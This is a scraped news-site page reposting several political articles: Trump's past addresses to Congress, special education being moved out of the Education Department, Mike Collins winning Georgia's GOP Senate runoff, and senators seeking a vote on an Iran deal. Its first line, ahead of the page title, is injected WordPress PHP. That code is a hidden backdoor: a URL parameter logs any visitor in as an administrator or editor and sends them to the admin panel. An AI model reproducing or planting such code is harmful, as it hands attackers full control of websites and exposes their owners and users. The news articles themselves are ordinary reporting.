// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Trump’s past speeches to Congress asked them to pass his agenda. Now, he’s willing to go it alone – Blue Light News
Connect with us

The Dictatorship

Trump’s past speeches to Congress asked them to pass his agenda. Now, he’s willing to go it alone

Published

on

Trump’s past speeches to Congress asked them to pass his agenda. Now, he’s willing to go it alone

WASHINGTON (AP) — Judging by his past speeches to Congress, President Donald Trump once felt the need to ask lawmakers to pass his agenda. Not so much anymore.

Trump, who is addressing Congress on Tuesday nighthas asserted his authority to reshape the federal government without needing to consult the legislative branch. That’s a break from his previous remarks to Congress in which he specifically sought lawmakers’ backing on many of the actions he’s now taking unilaterally.

On his own, Trump has signed orders to levy punishing taxes on imports, deport immigrants in the country illegally, fire hundreds of thousands of federal workers and freeze congressionally approved spending. There are limits to that approach as he will still need lawmakers’ help to extend his 2017 tax cuts.

But the speeches delivered during Trump’s first term show his evolution as a leader. His hopeful rhetoric in 2017 gave way to a 2020 State of the Union address in which Democrats were socialists. The event that defined the United States that year — the coronavirus pandemic — received only a brief mention by Trump.

‘The torch of truth, liberty and justice’

Going into his 2017 speech, Trump had already shocked the public with his decidedly bleak “American carnage” inaugural address. But for his address to Congress, Trump was more optimistic.

He started with a celebration of civil rights as February is Black History Month, an event the president at the time saw as creating a moral obligation for the country.

“Each American generation passes the torch of truth, liberty and justice in an unbroken chain,” Trump said. “That torch is now in our hands. And we will use it to light up the world. I am here tonight to deliver a message of unity and strength, and it is a message deeply delivered from my heart.”

This year, Trump goes into his speech after launching a wholesale effort to eliminate any diversity, equity and inclusion initiatives in the government, corporations and schools.

In his 2017 address, Trump laid out a seemingly bold set of promises to stop crime, secure the southern border, cut taxes and restore manufacturing as the engine of the U.S. economy. It was still a moment when the president himself was trying to navigate a Washington in which he was an outsider and stranger.

In his remarks, he suggested that tariffs would help iconic American companies such as Harley-Davidson, the motorcycle manufacturer. It was both an expression of his core belief in tariffs and a sign to critics that import taxes might not be the cure-all that Trump claimed.

When Trump spoke in 2017, stock in Harley-Davidson sold for more than $55 a share. The price fell jaggedly after his remarks and bottomed out during the 2020 pandemic. Since the start of 2025 with Trump’s return, the motorcycle maker’s share price has fallen further to $26.

‘Our new American moment’

In his 2018 State of the UnionTrump was coming off a big legislative victory with his Tax Cuts and Jobs Act.

Signed in December 2017, it permanently lowered the corporate tax rate to 21% and included a series of individual income tax cuts set to expire after 2025. Republicans stressed the breadth of the $2 trillion in tax cuts, while Democrats noted how they were tilted toward the wealthy.

“This is our new American moment,” Trump promised. “There has never been a better time to start living the American Dream.”

The president noted that employers had paid roughly 3 million workers “tax cut bonuses” and that median family incomes would increase by $4,000 ( which they more than did in 2019only to fall with the pandemic and the spike in inflation during President Joe Biden’s first two years in office).

Trump also noted that “Apple has just announced it plans to invest a total of $350 billion in America, and hire another 20,000 workers.” If that claim sounds familiar, it’s because over the past few days, the White House has highlighted Apple’s plans to invest $500 billion over the next four years, even though the company had already planned to increase its domestic manufacturing.

Trump also asked Congress to give the executive branch the power “to remove federal employees who undermine the public trust or fail the American people.” The president sought more than $1 trillion in infrastructure investments (which Biden ultimately provided with a bipartisan law ) as well as an immigration bill that would lock down the border but give “a path to citizenship for 1.8 million illegal immigrants who were brought here by their parents at a young age.”

‘Greatness or gridlock’

By Trump’s 2019 State of the Union, Democrats had recaptured the House majority after a midterms shellacking of the Republicans. The president adjusted his rhetoric and called for bipartisan partnership.

“We must choose between greatness or gridlock, results or resistance, vision or vengeance, incredible progress or pointless destruction,” he said. “Tonight, I ask you to choose greatness.”

But embedded in that message was also a request that Democrats not investigate the actions of his administration. He suggested without evidence that inquiries into his taxes, conflicts of interest and other matters could undermine economic growth.

“An economic miracle is taking place in the United States — and the only thing that can stop it are foolish wars, politics, or ridiculous partisan investigations,” Trump said.

The president again pushed for harsher measures to stop illegal immigration and asked Congress to give him the authority to impose “reciprocal” tariffs, such that the import taxes charged by the United States would match those of other countries.

By December of 2019, the House had impeached Trump for withholding congressionally approved military aid to Ukraine unless that country’s leadership investigated Biden’s family.

‘A socialist takeover’

Having avoided conviction for his first impeachment, Trump took on a decidedly partisan tone in his 2020 State of the Union address as he sought reelection. He bashed the “radical left” and said that Democratic cities were harboring unauthorized immigrants who were violent criminals.

The start of Trump’s speech was an unabashed highlight reel of the economy’s strength, with him taking sole credit for gains that had technically begun under President Barack Obama and continued through early 2020. The president told the country that Democrats wanted to take away their health insurance in “a socialist takeover.”

“To those watching at home tonight, I want you to know: We will never let socialism destroy American health care,” Trump said.

In the text of his early February speech, Trump still portrayed the coronavirus pandemic as a problem for China, against which he would safeguard the United States. He ignored economic data showing a loss of momentum in the U.S. manufacturing sector. There was no mention of the national debt or deficits.

“The best is yet to come,” Trump promised.

Then-House Speaker Nancy PelosiD-Calif., tore up her copy of the speech afterward. About six weeks after Trump’s speech, the country would be in a lockdown as millions of people were laid off due to the pandemic and the government borrowed trillions of dollars to stabilize an ailing economy.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

Trump moves special education out of Education Department

Published

on

Trump moves special education out of Education Department

WASHINGTON (AP) — President Donald Trump’s administration on Tuesday accelerated its dismantling of the Education Departmentdelegating much of its work to protect the nation’s at-risk students.

The Department of Justice will take on enforcement of civil rights in education, while the Department of Health and Human Services will oversee special education, administration officials announced. With those moves, the Education Department has now carved away the vast majority of its functions for other agencies to handle.

The two Education Department offices involved — the Office of Special Education and Rehabilitative Services and the Office for Civil Rights — defend the rights of children with disabilities and those who experience discrimination based on race, sex or religion. Advocates worry the change could mean lapses in communication for families and school officials who need help.

Trump, a Republican, campaigned on shutting down the Education Department, saying he would “move education back to the states where it belongs.” While only Congress can close the department, Trump’s education secretaryLinda McMahon, a billionaire and former CEO of World Wrestling Entertainment, has formed agreements with other federal agencies to handle much of her department’s work.

McMahon said the agreements align federal responsibilities with the agencies best positioned to support them.

“The Trump Administration has been clear: as we scale back federal micromanagement when it hinders success, we are equally committed to bolstering the efficacy of federal oversight where it is essential,” McMahon said in a written statement.

Critics warn of impacts to student services

Advocates said the changes would create uncertainty around services relied upon by millions of students and families.

“As is too often the case, traditionally underserved students — including students with disabilities, Black and Latino students, multilingual learners, students from low-income backgrounds, and students in rural communities — will bear the greatest burden created by this reckless decision, to which the disability and civil rights communities have already been vehemently opposed,” said a written statement from EdTrust, a Washington, D.C.-based think tank that advocates for educational equity.

The Education Department already has offloaded some of its programs through 10 earlier internal agreementsbut the offices affected by Tuesday’s announcement were among the most closely watched.

The Office of Special Education and Rehabilitative Services manages billions of dollars in grants and oversees state compliance with the Individuals with Disabilities Education Act. The Office for Civil Rights, which has been thinned by mass layoffsinvestigates complaints of discrimination at the nation’s schools and universities.

The Department of Justice also will take over work protecting student privacy and will provide some training and advisory help to schools.

While Justice and Health and Human Services will handle over most day-to-day duties of the assigned offices, the Education Department will continue to perform some tasks, such as responding to audits and issuing final determinations in civil rights cases, which it is explicitly required to do by law.

Rep. Bobby Scott, D-Va., ranking member of the House Committee on Education and the Workforce, said the announcement Tuesday was a political one intended to fulfill the president’s campaign promise. The changes, he said, will likely widen inequities for students of color and students with disabilities.

The agreements are scattering education programs to agencies that do not have the expertise to manage them, said Sen. Patty Murray, D-Wash.

“Instead of helping kids get a great education, this administration is spending its time, energy, and taxpayer resources fixated on where employees sit and illegally trying to shutter the Department of Education,” Murray said in a written statement.

Rachel Gittleman, president of the union that represents department employees, said the moves will create chaos for families, students and schools.

“This will leave our most vulnerable students and families who have been shut out of our education system without the services they need and without protection when they face discrimination,” Gittleman said in a written statement.

Families of students with disabilities opposed the decision

The transfer of special education to Health and Human Services most alarmed disability advocates, who say oversight of whether schools are adequately serving children with disabilities is best handled by education experts — not medical experts.

“The IDEA is intended to equip students as they learn alongside their peers, not cure them — the HHS is not prepared to oversee and administer the IDEA program effectively. Health and education systems speak in entirely different languages, including variations in terminology, training and disciplines,” said Jennifer Coco, interim executive director of the Center for Learner Equity.

The Education Department said McMahon spent over six months in listening sessions with families, advocates and educators to better understand concerns around how the department’s dismantling could affect special education. Many families raised concerns about obstacles to obtaining proper services for their children, but Coco said participants in those sessions were united in their opposition to moving special education oversight out of the Education Department.

“I think we agree on the problem,” Coco said. “We have stark disagreement on the solution and these transfers today don’t feel like a solution to that problem.”

___

The Associated Press’ education coverage receives financial support from multiple private foundations. The AP is solely responsible for all content. Find the AP’s standards for working with philanthropies, a list of supporters and funded coverage areas at AP.org.

Read More

Continue Reading

The Dictatorship

Mike Collins wins Georgia GOP Senate primary runoff to face Ossoff

Published

on

Mike Collins wins Georgia GOP Senate primary runoff to face Ossoff

Rep. Mike Collins won Georgia’s Republican Senate primary runoff Tuesday, defeating former University of Tennessee football coach Derek Dooley.

Now, he will have the far larger task of knocking off Democratic Sen. Jon Ossoff in one of the most competitive Senate race this election cycle.

The runoff was triggered after Collins and Dooley each failed to win a majority in the May 19 primary, forcing a second round in a contest that Republicans view as one of their best opportunities to flip a Democratic-held Senate seat in 2026. President Donald Trump endorsed Collins over the weekend, boosting his chances in the runoff.

Collins, a congressman representing Georgia’s 10th District, finished first in the primary. The trucking company owner and staunch ally of Trump built his campaign around support for the president’s agenda, border security, immigration enforcement and conservative cultural issues. Collins sought to portray himself as a proven conservative fighter with experience in Washington and strong ties to the Republican base.

Dooley, meanwhile, leaned on his name recognition as a former college football coach and member of one of Georgia’s most prominent political families. His father, Vince Dooley, was the legendary University of Georgia football coach and athletic director. Although Dooley has never held elected office, he has campaigned as a political outsider capable of attracting independent and swing voters in a general election.

Collins argued that Republicans need a candidate with a proven conservative record and close ties to Trump. Dooley has countered that his outsider status and broader appeal would make him a stronger challenger in November.

But some Republicans are worried about Collins, including his hardline stance on abortion rights and an Office of Congressional Conduct probe into his office’spotential misuse of resources that the Republican lawmaker has referred to as a “nothing burger.”

His social media tonewhich includes severely downplayingthe U.S. Capitol attack where some pro-Trump rioters injured members of law enforcement, gives credence to the president’s view of him as a “a true Friend, Fighter, and WARRIOR,” as Trump wrote in his post endorsing Collins.

But those sentiments also spotligh a few of the vulnerabilities for a statewide candidate coming from a reliably red congressional district.

Collins will now face Ossoff, who is seeking a second term after winning a pair of runoff elections in 2021 that helped Democrats gain control of the Senate. Since taking office, Ossoff has built a national fundraising network. His re-election campaign has emphasized lowering costs for families, protecting access to healthcare, supporting economic development and promoting government accountability.

In a statement published shortly after Collins’ win, Ossoff called the congressman a “notorious bigot” who was under federal investigation.

“Donald Trump’s handpicked candidate Mike Collins is a notorious bigot, antisemite, and extremist currently under federal investigation for the illegal misuse of tax dollars,” Ossoff said. “Collins, who is only a congressman because his daddy was a congressman, voted to double health insurance premiums for more than a million Georgians, for the Iran War, and for the Trump tariffs.”

The House Ethics Committee is investigating allegations that Collins used government funds to benefit an aide.

Georgia remains a key battleground state heading into the midterm elections. Once considered a reliably Republican stronghold, the state has become increasingly competitive over the past decade.

Republicans see Georgia as one of their strongest pickup opportunities in a midterm cycle where control of the Senate could once again hinge on a handful of closely contested races. Democrats, meanwhile, are expected to invest heavily to protect Ossoff’s seat, viewing him as a key part of the party’s future.

Ebony Davis is a breaking news reporter for MS NOW based in Washington, D.C. She previously worked at BLN as a campaign reporter covering elections and politics.

Read More

Continue Reading

The Dictatorship

GOP senators say they want a vote on an Iran deal — for now

Published

on

Senate Republicans are still waiting for details of the preliminary U.S.-Iran agreement. But they’re already making one thing clear: Congress should have a vote on any final deal.

President Donald Trump, Vice President JD Vance and Iranian Parliament Speaker Mohammad-Bagher Ghalibaf signed a memorandum of understanding on Monday, formally giving the two countries 60 days to negotiate an agreement.

While there’s a healthy dose of skepticism about the deal and whether it will actually materialize, Republicans want a say on the eventual agreement.

“If there is a final deal, and I hope there is, it should come to the Senate for approval,” Sen. John Kennedy, R-La., told reporters on Tuesday.

Sen. Bill Cassidy, R-La., said if the final agreement is a treaty — and it “sounds like a treaty,” he said — then it “certainly seems like” the deal should be subject to a vote by Congress.

And Sen. Roger Wicker, R-Miss., the Republican chairman of the Senate Armed Services Committee, echoed his colleagues.

For now, it appears Trump agrees with Senate Republicans.

During a bilateral meeting at the Group of Seven (G7) summit in France on Tuesday, Trump suggested he would be open to sending the eventual deal to Congress. “I wouldn’t mind,” he said.

“I never thought about sending. Never even thought about it,” Trump added. “But I will — I will send it to Congress. I like the idea.”

Trump’s comments quickly made their way to Washington, where Republican senators like Lindsey Graham and Roger Marshall repeatedly pointed out that Trump said he would give Congress a vote.

“I hope he does,” Marshall said.

Despite the GOP desire for a vote, it’s far from clear Congress will ever hold one. For starters, the talks could fall apart before a final agreement is reached. And if the deal ultimately resembles elements of the Obama-era accord that Republicans long opposed, GOP leaders may be reluctant to force lawmakers into a politically fraught vote — particularly if Democrats line up against it.

The dynamic highlights a familiar tension on Capitol Hill.

For years — decades, even — lawmakers have talked about replacing the sweeping 2001 Authorization for Use of Military Force with a more targeted authorization. The law has been used to justify dozens of military operations in more than 22 countries. But when it comes time to take ownership of a new war authorization, many in Congress seem content to defer to the president and the nearly 25-year-old law.

To be sure, there were some GOP voices on Tuesday who suggested a vote on Trump’s emerging Iran deal isn’t needed.

Sen. Eric Schmitt, R-Mo., argued that a law signed amid the debate over the Obama-era deal never explicitly required a vote — just congressional review.

“You might decide your opinion is we should vote on it, but there is no requirement that we do,” Schmitt said.

And some other Republican senators kept their cards close to their vest, insisting they need more information on the deal before asserting that a vote is necessary.

“Everybody’s got to see what it is first,” Sen. James Lankford, R-Okla., said. “None of us have seen it.”

Pressed on whether he wants a vote, regardless of the terms of the deal, the Oklahoma Republican offered a congressional truth: “It depends on what the deal is.”

Part of the insistence on a vote, Republicans say, is because the Iran nuclear deal brokered under President Barack Obama — formally known as the Joint Comprehensive Plan of Action, or JCPOA — wasn’t affirmed by Congress. That allowed Trump to singlehandedly dismantle it  during his first administration.

This time, lawmakers say they want a deal to outlast the Trump presidency.

Sen. John Curtis, R-Utah, said Congress should “absolutely” vote on the final agreement, if negotiators reach one.

“That was one of the problems with President Obama’s deal,” Curtis said.

Sen. Thom Tillis, R-N.C., said he thought it “makes more sense” to have Congress give any agreement its stamp of approval, pointing to Obama’s now defunct deal.

“Obama made a mistake when he didn’t do the work to have it rise to a level of a treaty, and I believe that we should here, otherwise it’s only good for two and a half years,” Tillis said.

“Why don’t we do the hard work of making sure that it has staying power?” he added.

Lawmakers on both sides of the aisle — particularly Republicans — would be happy to approve an Iran peace agreement that advances U.S. interests. Republicans are inclined to support Trump, and few lawmakers seem eager to prolong the Iran “excursion,” as the president has put it.

But approving a deal that’s less-than-stellar for the United States isn’t such a popular prospect. And congressional leaders might hesitate to put the agreement up for a vote out of fear that lawmakers may shoot it down.

A failed vote would put Trump and the United States in a difficult position.

Just having to vote on the deal could put lawmakers in a tough political spot of their own — and right before the midterm elections.

If the final agreement ends up resembling the Obama-era JCPOA, Republicans could be forced to either support a deal they’ve long criticized or risk drawing Trump’s ire. Neither choice is ideal.

Meanwhile, if Democrats vote against a final deal, they could face accusations that they don’t want the war to end. Some Republicans see political value in forcing Democrats to take a position.

“When there’s a deal, of course, put the Democrats on record,” Sen. Bernie Moreno, R-Ohio, told MS NOW.

But if the final deal is one Republicans don’t love, don’t expect the agreement to come before Congress.

Already on Monday, several Republicans expressed nervousness about the early contours of a deal, as described in press reports about a yet-to-be released memorandum of understanding. And on Tuesday, the top Senate Republican — John Thune of South Dakota — said he had still not been briefed on the contents of the memorandum.

A handful of Republicans revealed to reporters that they had been in touch with senior U.S. officials to get some of their questions answered.

Moreno, for instance, said he was given some details about the agreement on Monday from Vice President JD Vance and White House peace envoy — and Trump son-in-law — Jared Kushner.

Asked about the delay in revealing the preliminary memorandum, Moreno insisted the Trump administration was just being “methodical,” in part so as not to upend the internal politics in Iran.

“It’s not going to kill everybody to just take a breath and wait until Friday,” Moreno said.

Mychael Schnell is a reporter for MS NOW.

Kevin Frey is a congressional reporter for MS NOW.

Read More

Continue Reading

Trending